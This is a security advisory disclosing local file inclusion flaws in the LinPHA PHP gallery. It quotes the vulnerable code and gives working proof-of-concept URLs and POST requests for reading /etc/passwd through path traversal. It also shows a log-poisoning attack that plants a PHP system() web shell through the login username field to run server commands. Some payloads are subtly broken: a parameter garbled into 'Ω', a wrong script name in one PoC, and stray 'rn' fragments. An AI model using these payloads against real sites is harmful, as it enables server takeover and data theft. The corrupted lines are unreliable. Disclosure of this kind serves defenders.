------------- Linpha multiple arbitrary local inclusion -----------------
software:
site: http://linpha.sourceforge.net/nuke/
description: " LinPHA is an easy to use, multilingual, flexible photo / image
archive / album / gallery written in PHP. It uses a SQL database to store
information about your pictures."
------------------------------------------------------------------------
--------
i)
vulnerable code in docs/index.php at lines 28 - 41:
...
if(isset($_GET['lang'])) // come from install pages
{
$include_lang = $_GET['lang'];
}
elseif(file_exists(TOP_DIR.'/sql/db_connect.php'))
{
include_once(TOP_DIR.'/functions/db_api.php');
$include_lang = get_language();
}
else
{
$include_lang = get_http_accept_lang();
}
include_once(TOP_DIR.'/lang/lang.'.$include_lang.'.php');
...
well, you can include an arbitrary php file from local resources, poc:
http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../.
./test
and, if magic_quotes_gpc = Off, any file:
http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../.
./etc/passwd%00
------------------------------------------------------------------------
--------
ii) install directory is not removed after installation, you cannot use files to
modify settings but we have arbitrary local inclusion issues in several files:
------------------------------------------------------------------------
--
ii.a) vulnerable code in install/install.php at lines 26-36:
...
if (@$_GET['language']) {
$lang=$_GET['language'];
} else if (@$_POST['language']) {
$lang=$_POST['language'];
} else if ($http_accept_lang) {
$lang = $http_accept_lang;
} else {
$lang="English";
}
include_once(TOP_DIR.'/lang/lang.'.$lang.'.php');
...
poc:
http://[target]/[path]/install/install.php?language=/../../../../../../.
./test
if magic_quotes_gpc = Off:
http://[target]/[path]/install/install.php?language=/../../sql/tmp/linph
a.log%00
------------------------------------------------------------------------
--
ii.b) vulnerable code in install/sec_stage_install.php at lines 22-31:
...
switch($_GET['whatlang'])
{
case 1:
include_once(TOP_DIR.'/lang/lang.'.@$_GET['language'].'.php');
break;
default:
include_once(TOP_DIR.'/lang/lang.English.php');
break;
}
...
poc:
http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language
=/../../../../../../../test
if magic_quotes_gpc = Off:
http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language
=/../../../../../../../etc/passwd%00
------------------------------------------------------------------------
--
ii.c) vulnerable code in install/third_stage_install.php at line 22:
...
include_once(TOP_DIR.'/lang/lang.'.$_GET['language'].'.php');
...
poc:
http://[target]/[path]/install/sec_stage_install.php?language=/../../../
../../../../test
if magic_quotes_gpc = Off:
http://[target]/[path]/install/sec_stage_install.php?language=/../../../
../../../../etc/passwd%00
------------------------------------------------------------------------
--
ii.d) vulnerable code in install/forth_stage_install.php at line 22:
...
include_once(TOP_DIR.'/lang/lang.'.$_POST['language'].'.php');
...
poc:
POST [path]install/forth_stage_install.php HTTP/1.1rn";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded
Content-Length: [data_length]
User-Agent: GameBoy, Powered by Nintendo
Connection: Close
language=/../../../../../../../../test
if magic_quotes_gpc = Off:
POST [path]install/forth_stage_install.php HTTP/1.1rn";
Host: [somehost]
Content-Type: application/x-www-form-urlencoded
Content-Length: [data_length]
User-Agent: Sun-Tzu
Connection: Close
language=/../../../../../../../../etc/passwd%00
------------------------------------------------------------------------
--------
iii) if "user login events log" is set to "file" in Linpha administration
(not the default) a remote user can inject arbitrary code in sql/tmp/linpha.log
poc: try to login with username: <?php system($_GET[cmd]);?>
and password: [whatever]
now in sql/tmp/linpha.log we have something like this:
USER | ERROR | 20060211 035519 | 192.168.1.5 | User <?php system($_GET[cmd]);?>: login failed!
now, if magic_quotes_gpc = Off on target system, you can launch operating system
commands, poc:
http://[target]/[path]/docs/index.php?cmd=ls%20-laΩ=/../../sql/tmp/l
inpha.log%00
(same technique with install dir scripts...)
------------------------------------------------------------------------
--------
rgod
site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/linpha_10_local.html
------------------------------------------------------------------------
--------
